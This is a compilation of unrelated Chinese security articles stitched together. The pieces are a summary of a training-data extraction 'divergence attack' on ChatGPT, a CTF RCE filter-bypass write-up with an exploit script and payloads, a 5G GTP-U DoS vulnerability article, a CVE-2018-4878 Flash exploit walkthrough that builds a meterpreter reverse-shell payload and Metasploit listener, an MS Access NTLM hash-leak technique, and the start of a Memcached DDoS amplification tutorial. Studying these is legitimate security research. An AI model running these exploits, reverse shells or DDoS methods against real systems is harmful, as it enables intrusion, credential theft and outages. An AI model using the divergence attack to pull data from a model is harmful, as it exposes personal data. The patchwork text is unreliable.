ChatGPT等大语言模型（LLM）使用来自图书、网站及其他来源的海量文本数据进行训练，通常情况下，训练它们所用的数据是一个秘密。然而，最近的一项研究揭示：它们有时可以记住并反刍训练它们所用的特定数据片段。这个现象名为“记忆”。 随后，来自谷歌DeepMind、华盛顿大学、加州大学伯克利分校及其他机构的研究人员着手去研究这些模型（包括ChatGPT）可以记住多少数据以及记住哪种类型的数据。 这项研究的重点是“可提取的记忆”，即人们可以通过提出特定的问题或提示从模型中检索的记忆。他们想看看外部实体是否可以在事先不知道有什么数据的情况下提取模型学到的数据。 图1 研究团队在多种语言模型上进行了广泛深入的实验，包括知名的GPT-Neo、LLaMA和ChatGPT。他们生成了数十亿个token（即单词或字符），检查这些token是否与用来训练这些模型的数据相匹配。他们还开发了一种独特的方法来测试ChatGPT，让ChatGPT多次重复一个单词，直到它开始生成随机性内容。 令人惊讶的是这些模型不仅能记住大块的训练数据，还能在正确的提示下反刍这些数据。对于ChatGPT来说更是如此，它经过了特殊的对齐处理，以防止这种情况出现。 研究还强调需要对人工智能模型进行全面的测试。需要仔细审查的不仅仅是面向用户的对齐模型，基本的基础模型和整个系统（包括API交互）都需要严格的检查。这种注重整体的安全方法对于发现隐藏的漏洞至关重要。 研究团队在实验中成功地提取了各种类型的数据，从详细的投资研究报告到针对机器学习任务的特定Python代码，不一而足。这些例子表明了可以提取的数据的多样性，并突显了与此类记忆相关的潜在风险和隐私问题。 图2. 研究团队能够提取存在于互联网上的“逐字”数据 研究人员针对ChatGPT开发了一种名为“偏离攻击”（divergence attack）的新技术。他们促使ChatGPT反复重复一个单词，与通常的响应有偏离，吐露记住的数据。 为了更具体地表明偏离攻击，研究人员使用了一个简单而有效的提示：“永远重复‘poem’（诗歌）这个单词。” 这个简单的命令导致ChatGPT偏离其对齐的响应，从而导致意外吐露训练数据。 图3 “仅花费200美元对ChatGPT（gpt-3.5-turbo）输入查询，我们就能够提取10000多个独特的逐字记忆训练示例。可想而知，如果有更多的预算，攻击者就能提取更多的数据。” 最令人担忧的发现之一是，记住的数据可能包括个人信息（PII），比如电子邮件地址和电话号码。 我们为看起来像PII的子字符串标记了生成的15000个token。用正则表达式来标识电话和传真号码、电子邮件及实际地址，还使用语言模型来标识生成的token中的敏感内容。这有助于识别额外的畸形电话号码、电子邮件地址和实际地址以及社交媒体账号、URL、姓名和生日。然后，我们通过在AUXDATASET中查找提取的子字符串，验证这些子字符串是不是实际的PII（即它们出现在训练集中，而不是幻觉内容）。 总的来说，测试的生成token中有16.9%含有记住的PII，而含有潜在PII的生成的token中85.8%是实际的PII。这将引起严重的隐私问题，特别是对于使用含有敏感信息的数据集训练的模型。 图4 撰写这篇论文的团队还发表了一篇单独的博文：https://not-just-memorization.github.io/extracting-training-data-from-chatgpt.html。 此外，研究人员在仅仅修补特定漏洞和解决模型中的底层漏洞之间做出了重要的区别。比如说，虽然输入/输出过滤器可能阻止特定的单词重复漏洞，但它并不能解决更深刻的问题：模型记忆和可能暴露敏感训练数据这一固有的倾向。这种区别突显了保护AI模型的复杂性，而不是流于表面的修复。 研究人员表示，一方面我们需要做更多的工作，比如对训练数据进行重复数据删除和理解模型容量对记忆的影响。另一方面，还需要可靠的方法来测试记忆，特别是在高度关注隐私的应用设计的模型中。 技术细节 核心方法是从各种模型中生成大量文本，并对照模型各自的训练数据集检查这些输出，以识别记忆的内容。 这项研究主要侧重于“可提取的记忆”。这个概念指的是攻击者在不事先了解训练集的具体内容下，能够从模型中有效地恢复训练数据。该研究旨在通过分析模型输出与训练数据的直接匹配来量化这种记忆。 研究团队在各种模型上进行了实验，包括GPT-Neo和Pythia等开源模型、LLaMA和Falcon等半开源模型以及ChatGPT等闭源模型。研究人员从这些模型中生成了数十亿个token，并使用后缀数组有效地匹配训练数据集。后缀数组是一种数据结构，允许在较大的文本语料库中快速搜索子字符串。 对于ChatGPT，由于其会话性质和对齐训练——这通常阻止直接访问语言建模功能，研究人员采用了一种“偏离攻击”，促使ChatGPT无数次重复一个单词，直到偏离标准的响应模式。这种偏离经常导致ChatGPT吐露从训练数据中记忆的序列。 图5 针对ChatGPT“偏离攻击”的例子：模型被促使重复说“book”，导致最初的准确重复，然后转向随机内容。文本输出标以红色阴影，表明k-gram与训练数据集匹配的长度。较短的匹配（比如10个token的短语“I mean, it was dark, but,”）通常是巧合。然而，较长的序列（比如来自《现代童话》系列的摘录）不太可能是巧合，这表明来自训练数据的直接记忆。 该研究通过检查与训练数据匹配的一小部分模型输出来量化记忆率，他们还分析了独特的记忆序列的数量，发现记忆率明显高于之前的研究。 研究人员采用古德图灵（Good-Turing）频率估计来估计总记忆量。这种统计方法根据观察到的频率预测遇到新记忆序列的可能性，提供了一种从有限样本中推断总记忆量的稳健方法。 研究探讨了模型大小与记忆倾向之间的关系。得出，更庞大、功能更强的模型通常更容易受到数据提取攻击，这表明模型容量和记忆程度之间存在着关联。研究人员建议，应该通过传统软件系统的视角看待语言模型，这需要我们改变对待语言模型安全分析的方式。 这个观点势必需要一种更严谨、更系统化的方法来确保机器学习系统的安全性和隐私性，这是人工智能安全领域需要迈出的一大步。

前言 好,开冲了 Web41 过滤了0-9 a-z ~ + $[]{}-\等 使用的是post请求 这里直接用脚本 脚本的路径也附上 https://blog.csdn.net/miuzzx/article/details/108569080 把php脚本和python脚本放到一起 <?php $myfile = fopen("rce_or.txt", "w"); $contents=""; for ($i=0; $i < 256; $i++) { for ($j=0; $j <256 ; $j++) { if($i<16){ $hex_i='0'.dechex($i); } else{ $hex_i=dechex($i); } if($j<16){ $hex_j='0'.dechex($j); } else{ $hex_j=dechex($j); } $preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i'; if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){ echo ""; } else{ $a='%'.$hex_i; $b='%'.$hex_j; $c=(urldecode($a)|urldecode($b)); if (ord($c)>=32&ord($c)<=126) { $contents=$contents.$c." ".$a." ".$b."\n"; } } } } fwrite($myfile,$contents); fclose($myfile); ?> php脚本会生成rcetxt文件 让后运行python脚本 # -*- coding: utf-8 -*- import requests import urllib from sys import * import os os.system("php rce_or.php") #没有将php写入环境变量需手动运行 if(len(argv)!=2): print("="*50) print('USER：python exp.py <url>') print("eg： python exp.py http://ctf.show/") print("="*50) exit(0) url=argv[1] def action(arg): s1="" s2="" for i in arg: f=open("rce_or.txt","r") while True: t=f.readline() if t=="": break if t[0]==i: #print(i) s1+=t[2:5] s2+=t[6:9] break f.close() output="(\""+s1+"\"|\""+s2+"\")" return(output) while True: param=action(input("\n[+] your function：") )+action(input("[+] your command：")) data={ 'c':urllib.parse.unquote(param) } r=requests.post(url,data=data) print("\n[*] result:\n"+r.text) 在shell里运行 用法: python 你的python脚本名字.py <url> function 命令函数 使用system 让后运行我们的命令 tac flag.php Web42 这个 2>&1是把错误输出绑定到标准输出 >dev/null 把c的命令抛掷黑洞里使其无法执行 双写绕过 is阻断 最后把is抛掷黑洞而分号前面执行 ?c=tac flag.php;is Web43 过滤了；cat 所以上一关的双写;是无法被识别的 我们使用|| 或者&& 都可以执行 如果使用&&要进行url编码 ||是有能够执行就执行 &&是前面执行过在执行后一个 ?c=tac flag.php||ls Web44 不解释，秒了 ?c=tac fla*||ls Web45 多过滤了空格 %09 %0a都能过 直接秒 ?c=tac%09fla*||ls Web46 过滤cat flag 空格 0-9 反斜杠 $ 以及* 空格用%09过滤 虽然是过滤0-9但%09解码之后不属于数字可以使用 flag可以用?绕过 ?c=tac%09fla?.php||ls Web47 比上一关过滤了很多读取命令 但是没过滤tac 上一关的payload一把梭 ?c=tac%09fla?.php||ls Web48 还是没有过滤tac 上上一关的payload照样打 秒了 ?c=tac%09fla?.php||ls Web49 多了百分号 但是一样%09不会被转义成%上上上一把payload照样打通 ?c=tac%09fla?.php||ls Web50 %09被过滤了 %26是&&符号也被过滤了这下不得不用不带空格的命令了 方法一 用nl来查看 ”双单引号绕过flag ”命令里默认忽略 ?c=nl<fla''g.php||ls 方法二 tac查看 ?c=tac<fl''ag.php||ls Web51 多了tac 上把的nl可以过 当然tac可以用ta”c过 方法一如上一关nl过 ?c=nl<fla''g.php||ls 方法二 tac过 ?c=ta''c<fla''g.php||ls Web 52 过滤的更多了><也给过滤了但是$IFS没有过滤 $IFS在linux中是分隔符的意思 用cp mv进行看看 ?c=cp${IFS}fla?.php${IFS}u.txt||ls 发现 假的flag 列一下根目录 ?c=ls${IFS}/||ls flag应该在根目录中 ?c=ta''c${IFS}/fla?||ls 拿到flag

5G开启了传统无线连接无法实现的前所未有的应用，帮助企业加速数字化转型、降低运营成本，并最大限度地提高生产力，以获得最佳投资回报。为了实现目标，5G依赖关键的服务类别：大规模机器类型通信（mMTC）、增强型移动宽带（eMBB）和超可靠低延迟通信（uRLLC）。 随着商用频谱不断增加，专用5G网络的使用率和普及率也随之提高。制造、国防、港口、能源、物流和采矿等行业只是这些专用网络的早期采用者之一，特别是对于那些迅速依赖物联网以实现生产系统和供应链数字化的公司。与公共电网不同，专用5G中的蜂窝基础设施设备可能归用户企业、系统集成商或运营商拥有和运营。然而，鉴于针对使用5G开发各种技术的研究和探索越来越多，网络犯罪分子也在考虑利用种种威胁和风险，企图通过这种新的通信标准，入侵用户和组织的系统和网络。本文探讨了普通用户设备如何在5G网络基础设施和用例中被滥用。 5G拓扑结构 在端到端5G蜂窝系统中，用户设备（又名UE，比如移动电话和物联网设备）通过无线电波连接到基站，基站则通过有线IP网络连接到5G核心。 从功能上来说，5G核心可以分为两个平面：控制平面和用户平面。在网络中，控制平面承载信号，并根据流量从一个端点到另一个端点的交换方式为流量传输提供方便。同时，用户平面负责连接和处理通过无线局域网（RAN）传输的用户数据。 基站发送与设备连接相关的控制信号，并通过NGAP（下一代应用协议）与控制平面建立连接。来自设备的用户流量使用GTP-U（GPRS隧道协议用户平面）发送到用户平面。数据流量从用户平面路由传输到外部网络。 图1. 基本的5G网络基础设施 UE子网与基础设施网络相互分离、隔离，不允许用户设备访问基础设施组件。这种隔离有助于保护5G核心免受来自用户设备的CT（蜂窝技术）协议攻击。 有没有办法绕过这种隔离、攻击5G核心呢？接下来的章节将详细介绍网络犯罪分子如何可以滥用5G基础设施的组件、尤其是GTP-U。 GTP-U GTP-U是一种隧道协议，存在于基站和5G用户平面之间，使用端口2152。下面是用GTP-U封装的用户数据分组结构。 图2. GTP-U数据分组 GTP-U隧道分组是通过将报头附加到原始数据分组而形成的。添加的报头由UDP（用户数据报协议）传输报头和GTP-U特有的报头组成。GTP-U报头则由以下字段组成： • 标志：这包含版本及其他信息（比如表明是否存在可选的报头字段等信息）。 • 消息类型：对于承载用户数据的GTP-U分组而言，消息类型为0xFF。 • 长度：这是隧道端点标识符（TEID）字段之后的所有内容的长度（以字节为单位）。 • TEID：隧道的独特值，用于将隧道映射到用户设备。 GTP-U报头由GTP-U节点（基站和用户平面功能即UPF）添加。然而，用户无法在设备的用户界面上看到报头。因此，用户设备无法操纵报头字段。 虽然GTP-U是一种标准的隧道技术，但其使用主要局限于基站和UPF之间或UPF和UPF之间的CT环境。假设在理想场景下，基站和UPF之间的回程经过加密，受到防火墙保护，并且不允许外部访问。下面详述这种理想场景：GSMA建议在基站和UPF之间使用IP安全（IPsec）。在这种场景下，到达GTP-U节点的分组只来自授权的设备。如果这些设备遵循规范并合理实施，它们不会发送异常分组。此外，可靠的系统应该有强大的完整性检查机制，以处理接收到的异常信息，特别是明显的异常信息，比如无效的长度、类型和扩展等。 然而在现实中，场景可能往往不同，需要完全不同的分析。运营商不愿意在N3接口上部署IPsec，因为它耗用大量CPU资源，降低了用户流量的吞吐量。此外，由于用户数据被认为在应用层受到保护（借助额外协议，比如TLS即传输层安全），一些人认为IP安全是多余的。有人可能认为，只要基站和分组-核心符合具体要求，就不会出现异常情况。此外，有人可能还认为，对于所有可靠的系统而言，都需要进行完整性检查，以发现任何明显的异常。然而之前的研究表明，全球各地的许多N3节点（比如UPF）暴露在互联网上，尽管不应该如此。这将在以下的章节中介绍。 图3. 因配置错误或缺少防火墙而暴露的UPF接口，截图来自Shodan，并用于之前发表的研究结果 我们讨论了两个可以使用CVE-2021-45462利用GTP-U的概念。在Open5GS这种面向5G核心和进化分组核心（EPC）的C语言开源实现中，从用户设备发送零长度、类型=255的GTP-U分组导致了UPF遭到拒绝服务（DoS）。这是CVE-2021-45462，分组核心中的这个安全漏洞可以通过从用户设备制作的异常GTP-U分组，并通过在GTP-U中发送该异常GTP-U分组，导致UPF（5G中）或服务网关用户平面功能（4G/LTE中的SGW-U）崩溃。鉴于该漏洞影响基础设施的关键组件，并且无法轻易解决，该漏洞的严重性等级为中到高。 GTP-U节点：基站和UPF GTP-U节点是对GTP-U分组进行封装和解封装的端点。基站是用户设备端上的GTP-U节点。基站从UE接收用户数据时，将数据转换成IP分组，并在GTP-U隧道中封装。 UPF是5G核心端的GTP-U节点。当UPF接收到来自基站的GTP-U分组时，UPF对外部的GTP-U报头进行解封装，取出内部分组。UPF不检查内部分组的内容，直接查询路由表（也由UPF维护）中的目的地IP地址，然后继续发送分组。 GTP-U中的GTP-U 如果用户设备制作了一个异常的GTP-U分组，并将其发送到分组核心，会怎么样？ 图4. 一个精心特制的异常GTP-U分组 图5. 从用户设备发送异常的GTP-U分组 果不其然，基站将把该数据包放入到其GTP-U隧道中，发送给UPF。这导致GTP-U分组中的GTP-U到达UPF。UPF中现在有两个GTP-U分组：外部GTP-U分组报头由基站创建的，用于封装来自用户设备的数据分组。这个外部GTP-U分组的消息类型为0xFF，长度为44。这个报头是正常的。内部GTP-U报头由用户设备制作并作为数据分组来发送。与外部GTP-U分组一样，这个内部GTP-U分组的消息类型为0xFF，但长度0不正常。 内部分组的源IP地址属于用户设备，而外部分组的源IP地址属于基站。内部分组和外部分组的目的地IP地址一样：都是UPF的目的地IP地址。 UPF对外部GTP-U进行解封装，并通过功能检查。内部GTP-U分组的目的地还是同样的UPF。接下来发生的事情因实现方法而异： • 一些实现维护用于分组遍历的状态机。状态机的不正确实现可能导致处理这个内部GTP-U分组。该分组可能已经通过了检查阶段，因为它与外部分组拥有相同的分组上下文。这导致系统内部有一个异常分组通过完整性检查。 • 由于内部分组的目的地是UPF本身的IP地址，因此分组可能被发送到UPF。在这种情况下，分组很可能会通过功能检查，因此问题不如前一种情况来得严重。 攻击途径 一些5G核心供应商利用Open5GS代码。比如说，NextEPC（4G系统，2019年更名为Open5GS以添加5G，剩余产品来自旧品牌）提供了面向LTE/5G的企业版，借鉴了Open5GS的代码。没有观察到外头有任何攻击或威胁迹象，但我们的测试使用已确定的场景表明存在潜在风险。 攻击的重要性在于攻击途径：来自UE的蜂窝基础设施攻击。利用该漏洞只需要一部移动电话（或通过蜂窝加密狗连接的计算机）和几行Python代码，就可以滥用该缺口，并发动这类攻击。GTP-U中的GTP-U攻击是一种众所周知的技术，回程IP安全和加密无法阻止这种攻击。事实上，这些安全措施可能会阻碍防火墙检查内容。 补救和心得 医疗和电力等关键行业只是专用5G系统的早期采用者之一，5G广泛使用的广度和深度只会与日俱增。对于这些行业来说，确保持续不间断运作的可靠性至关重要，因为这关系到千万条生命和实际影响。这些行业的性质决定了它们选择使用专用5G系统，而不是Wi-Fi。专用5G系统必须提供持久的连接，因为对任何5G基础设施的攻击得逞都可能导致整个网络瘫痪。 在本文中，滥用CVE-2021-45462可能导致DoS攻击。CVE-2021-45462（以及大多数GTP-U中的GTP-U攻击）的根本原因是分组核心中的错误检查和错误处理不当。虽然GTP-U-中的GTP-U本身无害，但修复这个漏洞的适当措施必须来自分组核心供应商，而基础设施管理员必须使用最新版本的软件。 GTP-U中的GTP-U攻击还可以用于泄露敏感信息，比如基础设施节点的IP地址。因此，GTP-U对等体应该准备好处理GTP-U中的GTP-U分组。在CT环境下，它们应该使用能够理解CT协议的入侵防御系统（IPS）或防火墙。由于GTP-U不是正常的用户流量，特别是在专用5G中，安全团队可以优先考虑并丢弃GTP-U中的GTP-U流量。 一般来说，SIM卡的注册和使用必须严格加以规范和管理。拥有被盗SIM卡的攻击者可以将其插入攻击者的设备，连接到网络部署恶意软件。此外，对于采用共享操作模式的一些人来说，安全责任可能很模糊，比如企业拥有的基础设施链的终端设备和边缘。同时，蜂窝基础设施归集成商或运营商所有。这给安全运营中心（SOC）带来了一项艰巨的任务：将来自不同领域和解决方案的相关信息整合在一起。 此外，由于需要停机和测试，定期更新关键基础设施软件以跟上供应商的补丁并不容易，也永远不会容易。因此，强烈建议使用IPS打虚拟补丁或采用分层防火墙。幸好，GTP中的GTP很少在实际应用中使用，因此可以完全阻止所有GTP中的GTP流量。我们建议使用结合IT和通信技术（CT）安全性和可视性的分层安全解决方案。实施零信任解决方案，为企业和关键行业增加另一层安全，以防止未经授权使用专用网络，以实现连续不中断的工业生态系统，并确保SIM卡只能从授权设备上使用。

0x01 前言 Adobe公司在当地时间2018年2月1日发布了一条安全公告： https://helpx.adobe.com/security/products/flash-player/apsa18-01.html 公告称一个新的Flash 0Day漏洞（CVE-2018-4878）已经存在野外利用，可针对Windows用户发起定向攻击。攻击者可以诱导用户打开包含恶意 Flash 代码文件的 Microsoft Office 文档、网页、垃圾电子邮件等。 0x02 漏洞影响 Flash Player当前最新版本28.0.0.137以及之前的所有版本 0x03 漏洞复现 环境测试： 攻击机：kali 目标靶机：win7x64 +IE8.0+FLASH player28.0.0.137 1.下载cve-2018-4878的脚步利用 wget https://raw.githubusercontent.com/backlion/demo/master/CVE-2018-4878.rar 2.解压压缩文件后，可看到cve-2018-4878.py和exploit.swf 3.我们需要对cve-2018-4878.py进行修改，原作者将代码中的stageless变量改成了true，正确的应该改成：stageless = False。附上原作者的exp地址：https://github.com/anbai-inc/CVE-2018-4878.git 4.其次需要修改替换原来弹计算器的shellcode 5.在kali下生成msf的shellcode: msfvenom -pwindows/meterpreter/reverse_tcplhost=your host lport=your port -fpython>shellcode.txt 6.将生成的shellcode替换掉原有cve-2018-4878.py中的shelldoce即可 7.在kal下执行cve-2018-4878.py,这里需要和index.html在一个目录下，即可生成恶意的exploit.swf 8.这里为了演示我将index.html和exploit.swf一同拷贝到目标靶机win7x64上，在ie浏览器下打开（也可以通过搭建web服务器的形式将index.html和exploit.swf放在web目录下,访问地址来打开）。 9.在msf 下进行监听设置 msf > use exploit/multi/handler msf exploit(handler) > set payloadwindows/meterpreter/reverse_tcp msf exploit(handler) > set lhost 10.0.0.217 msf exploit(handler) > set lport 443 msf exploit(handler) > exploit 10.当打开目标恶意的index.html页面时，即可触发反弹shell 0x04 漏洞修复 建设通过官方网站升级到最新版本 https://get.adobe.com/cn/flashplayer/

10 月 12 日，微软宣布新一轮过渡计划，弃用 NTLM 身份认证方式，让更多企业和用户过渡到Kerberos。 Microsoft Access (Office套件的一部分)有一个“链接到远程SQL Server表”的功能。攻击者可能会滥用此功能，通过任意TCP端口(如端口80)自动将Windows用户的NTLM令牌泄露给攻击者控制的任何服务器。只要受害者打开.accdb或.mdb文件，就可以发起攻击。事实上，更常见的Office文件类型(如.rtf)都可以以类似方式运行。这种技术允许攻击者绕过现有的防火墙规则，这些规则旨在阻止由外部攻击发起的NTLM信息窃取。 什么是NTLM？针对它的常见攻击有哪些？ NTLM是NT LAN Manager的缩写，这也说明了协议的来源。NTLM是指 telnet 的一种验证身份方式，即问询/应答身份验证协议，是 Windows NT 早期版本的标准安全协议，是Microsoft在1993年引入的一种目前已被弃用的身份验证协议。微软在今年10月宣布，弃用 NTLM 身份认证方式，让更多企业和用户过渡使用 Kerberos， Kerberos 提供了更好的安全保证，并且比 NTLM 更具可扩展性，现在成为 Windows 中首选默认协议。 企业虽然可以关闭 NTLM 身份认证，但那些硬连线（hardwired）的应用程序和服务可能会遇到问题，为此微软引入了两个身份验证功能。 其一是 Initial and Pass Through Authentication Using Kerberos（IAKerb），允许“没有域控制器视线的客户端通过有视线的服务器进行身份验证”。 另一个是 Kerberos 的本地密钥分发中心 (KDC)，它增加了对本地账户的身份验证支持。通过上述两项功能的推进，Kerberos 将成为唯一的 Windows 身份验证协议。 以下是针对NTLM的三种最著名的攻击。 1.暴力攻击利用NTLM哈希函数规范中的固有漏洞，从存储在服务器上的NTLM哈希中恢复原始密码。 2.传递哈希攻击滥用了NTLM哈希来挑战 / 响应模型来证实客户端的身份，使得使用哈希而不是普通密码这一事实在本质上毫无意义。 3.中继攻击通常被称为“中间人”攻击，攻击者拦截握手交易，在与服务器交谈时假扮成客户端，反之亦然，这样就可以将他们的消息互相传递，直到会话被验证的关键时刻，此时攻击者切断合法客户端并代替他们进行对话。 上述攻击的缓解措施出现在Kerberos中，Kerberos是麻省理工学院开发的一种身份验证协议，比NTLM早了整整五年。 不过，对于任何想要保留NTLM服务器的用户来说，微软设计了一个过渡机制，简单地阻止通过NTLM协议使用的端口(139和445)的所有组织出站流量，使上述攻击更加难以执行，这样攻击者就不可能获得对网络的初始 Access的口令。这种由外部攻击发起的攻击技术被称为“强制身份验证”。 不过这种权宜之计总是漏洞百出。在这篇文章中，我们提出了一种新的方法，可以绕过这些端口使缓解措施失效，即可以直接针对内部用户进行NTLM攻击。这种方法通过滥用MS-Access应用程序中称为“ Access链表”的功能来实现。 MS-Access中的链表 在讨论攻击者如何滥用此功能之前，我们将首先解释该功能在用于合法目的时是如何正常工作的。使用链表，用户可以连接到外部数据库，例如远程Microsoft SQL服务器，这种功能的优势应该是不言而喻的，不过让每个用户在他们的本地设备上保留一个数据库副本在很多时候并不是一个很好的解决方案，而且绝对不是长久的解决方案。要激活该功能，用户可以点击“外部数据”选项卡的“ODBC Database”按钮，如下所示。我们以Office 2010为例，但这同样适用于所有版本的Office。 点击“ODBC Database”按钮启动连接到Microsoft Access 2010上的远程SQL Server的引导 MS-Access建议使用另一种方法，用一次性下载远程表，这样就可以将结果视为本地表。为了实际使用链接功能并与远程数据库同步，用户选择了另一个选项，“通过创建链表链接到数据源”。 MS-Access允许用户在创建远程数据库的本地副本和完整的远程链接之间进行选择 然后，用户在对话框中选择“SQL Server”作为ODBC Database。 选择ODBC Database类型的对话框 ODBC(Open Database Connectivity，开放数据库互连)是微软公司开放服务结构(WOSA，Windows Open Services Architecture)中有关数据库的一个组成部分，它建立了一组规范，并提供了一组对数据库访问的标准API（应用程序编程接口）。 此时，用户需要选择使用远程服务器进行身份验证的方法，如下图所示。 选择SQL Server身份验证方法的对话框 一般的用户会根据服务器支持的身份验证方法、公司安全策略以及他们个人认为方便的方式进行选择。为了方便讲解，我们会假设用户选择使用自己的Windows ID凭据进行身份验证的选项。此外，典型的用户可能会将远程服务器的端口保留为默认值(1433)，但是，出于为了方便讲解，我们暂时假设用户选择不经常使用的端口，例如端口80。 毕竟，没有什么可以阻止SQL服务器监听端口80，一个合法组织的SQL服务器可能不会这样做，但是如果有人这样做了，网络也不会产生什么异常。 选择服务器的IP地址、端口和协议的对话框 假设远程SQL服务器的身份验证成功并且所选表存在，那么在客户机的“tables”列表中就会出现一个表示链表的新条目。当用户点击此条目时，将建立到该远程数据库的连接，并且MS-Access客户端尝试使用用户的Windows凭据与SQL服务器进行身份验证。 在MS-Access的“tables”列表中显示的链表 滥用链表 在将该功能武器化并转化为NTLM中继攻击之前，攻击者可以设置一个他们控制的服务器，监听端口80，并将其IP地址放在上面的“服务器别名”字段中。然后，他们可以将数据库文件(包括链表)发送给受害者。如果受害者打开文件并点击表，受害客户端CV将联系攻击者控制的服务器SA 并尝试进行身份验证。然后，SA 处于执行攻击的最佳位置，它可以立即启动同一组织中目标NTLM服务器ST 的身份验证过程，接收挑战，并将该挑战作为攻击者控制的CV的一部分发送到CV↔SA 身份验证过程，接收有效响应，然后将该响应传递给SA来通过ST的成功身份验证。身份验证是使用TDS中封装的NTLMSSP来完成的。让受害者打开文件并点击数据库是一件很危险的事情。关于“点击数据库”部分，从技术上讲，MS Access支持宏，因此攻击者理论上可以创建一个自动打开链接表的宏，并将其设置为在打开文件时自动执行，这是通过将宏命名为AutoExec来实现的。当然，这是一条死胡同，因为随后会提示用户启用宏，就在去年，微软计划推出了一项针对这种情况的新安全功能。这个功能不适用于简单的MS Access宏。这些与成熟的VBA不同，它们的功能较弱，处理起来也不那么谨慎。即使是2010年推出的可证明有效的“受保护视图（protected view）”功能，该功能会提示用户文档“可能不安全”并提示用户“启用宏”。 添加一个打开链接表的MicrosoftAccess宏，并将其保存为“AutoExec”以在打开文件时执行 OLÉ, OLÉ, OLÉ Microsoft Access在Windows上注册为“OLE链接”服务器。例如，可以在Word文档中嵌入图像，当文档被打开时，MS-Paint将处理图像并发回信息，从而使MS-Word可以内联显示图像。 同样，也可以将MS word文档中的.accdb文件链接为OLE对象，该对象将自动下载（也可以通过端口80/tcp），然后由MS Access处理。像下面这样简单的字符串就会触发这个行为: \\\\111.111.111.111@80\\test.accdb 总的来说，整个攻击链是这样的: 滥用链表 概念验证 为了方便研究，研究人员建立一个展示这种攻击的概念验证环境，禁用服务器的第一个响应数据包（PRE-LOGIN消息响应）中的加密，可以使研究的工作变得更容易，因为不需要处理TDS TLS加密。 以下是模拟受害者和虚假SQL服务器活动的过程，受害者位于典型的端口阻塞环境中（阻塞传出的139/tcp和445/tcp流量，但允许80/tcp），而攻击者控制的服务器位于公共云中。受害者在试图通过端口80上的服务器进行身份验证时泄露了本地net-NTLMv2哈希值。 流量捕获(PCAP)显示了一次成功的攻击，它使受害者通过端口80泄露了本地NTLM哈希 防御和缓解措施 研究人员已经成功地在所有可用的默认Windows + Office环境中复制了攻击，包括最新的Windows 10/11 和Office 2021环境。 建议你可以考虑禁用MS-Access中的宏，或者如果MS-Access对你的Office套件安装不是必需的，则将其从系统中完全删除。 另外，请不要打开未经请求的附件。

本次反射式拒绝服务攻击技术基于全球互联网分布式的Memcached服务器，需要储备一定得安全攻防知识，网络协议知识和python代码编程技术。希望在学习本篇文章知识前自行学习相关的基础知识，文章后面同时附有参考链接。 关于Memcached系统 Memcached是一个自由开源的，高性能，分布式内存对象缓存系统。Memcached是以LiveJournal旗下Danga Interactive公司的Brad Fitzpatric为首开发的一款软件。现在已成为mixi、hatena、Facebook、Vox、LiveJournal等众多服务中提高Web应用扩展性的重要因素。Memcached是一种基于内存的key-value存储，用来存储小块的任意数据（字符串、对象）。这些数据可以是数据库调用、API调用或者是页面渲染的结果。Memcached简洁而强大。它的简洁设计便于快速开发，减轻开发难度，解决了大数据量缓存的很多问题。它的API兼容大部分流行的开发语言。本质上，它是一个简洁的key-value存储系统。一般的使用目的是，通过缓存数据库查询结果，减少数据库访问次数，以提高动态Web应用的速度、提高可扩展性。 关于分布式DDoS原理 分布式拒绝服务(DDoS:Distributed Denial of Service)攻击指借助于客户/服务器技术，将多个计算机联合起来作为攻击平台，对一个或多个目标发动DDoS攻击，从而成倍地提高拒绝服务攻击的威力。通常，攻击者使用一个偷窃帐号将DDoS主控程序安装在一个计算机上，在一个设定的时间主控程序将与大量代理程序通讯，代理程序已经被安装在网络上的许多计算机上。代理程序收到指令时就发动攻击。利用客户/服务器技术，主控程序能在几秒钟内激活成百上千次代理程序的运行。 关于反射式DRDoS原理 DRDoS是英文“Distributed Reflection Denial of Service ”的缩写，中文意思是“分布式反射拒绝服务”。与DoS、DDoS不同，该方式靠的是发送大量带有被害者IP地址的数据包给攻击主机，然后攻击主机对IP地址源做出大量回应，形成拒绝服务攻击。 攻击流程 DDoS攻击流程 要完成这个攻击流程，得至少需要三个步骤。 1 攻击者手里必须控制大量肉鸡机器，并且分布式在互联互通分布在互联上。 2 攻击者随时可以通过代理或者控制程序同时向所有肉鸡发送大量攻击指令。 3 所有肉鸡在接受指令后，同时大量并发，同时向受害者网络或者主机发起攻击行为。 DRDoS攻击流程 DRDoS要完成一次反射放大攻击： 1 攻击者，必须提前需要把攻击数据存放在所有的在线肉鸡或者反射服务器之上。 2 攻击者，必须伪造IP源头。发送海量伪造IP来源的请求。当然这里的IP就是受害者的IP地址。 3 反射服务器，必须可以反射数据，运行良好稳定。最好是请求数据少，返回数据成万倍增加。 如此不断循环，就可以大规模攻击其带宽网络，增加占用率和耗损目标机的硬件资源。 利用Memcached实现的DRDos攻击反射流程 存活机器 首先我们要找到大量反射服务器，利用搜索引擎去发掘全球可利用在线服务器。这里我暂时用zoomeye进行搜集，你也可以用别的搜索引擎，比如shodan等。默认开启端口号是11211,利用知道创宇得钟馗之眼空间引擎搜索到全球538317台机器开启11211端口，运行着Memcached缓存服务系统。但是利用条件还有一个，就是我们还得进一步帅选确认是否开启默认可以登录的机器，这样就可以被我们所利用了。有些已经设置了安全认证，那么就无法使用了。(全网公开跑下来五万多台服务器，其中有效验证可利用的有一千多台，这里就不公布了） 通信协议 从协议看，memcache同时监听tcp和udp。也就是说它本身支持两种协议同时可以发起交互和通信。这个就很关键了。大家可以看看tcp和udp协议区别。由于TCP是字节流，没有包的边界，无所谓大小，一次发送接受的数据取决于实现以及你的发送接收缓存大小。 TCP没有限定，TCP包头中就没有“包长度”字段，而完全依靠IP层去处理分帧。 但是UDP协议就不一样了，他不基于连接，直接发送数据报到目标机器。 注意这个Length字段，只占有两个字节。所以说UDP协议发送数据就有了限制，单次最大发送2^16=65535=64KB。 如果想要发送更大数据包，那么只能使用TCP协议或者UDP多次发送来实现，这里我已经测试过，两种协议均可以实现。 小结： 1、TCP面向连接（如打电话要先拨号建立连接）;UDP是无连接的，即发送数据之前不需要建立连接。 2、TCP提供可靠的服务。也就是说，通过TCP连接传送的数据，无差错，不丢失，不重复，且按序到达;UDP尽最大努力交 付，即不保证可靠交付。 3、TCP面向字节流，实际上是TCP把数据看成一连串无结构的字节流;UDP是面向报文的。UDP没有拥塞控制，因此网络出 现拥塞不会使源主机的发送速率降低（对实时应用很有用，如IP电话，实时视频会议等）。 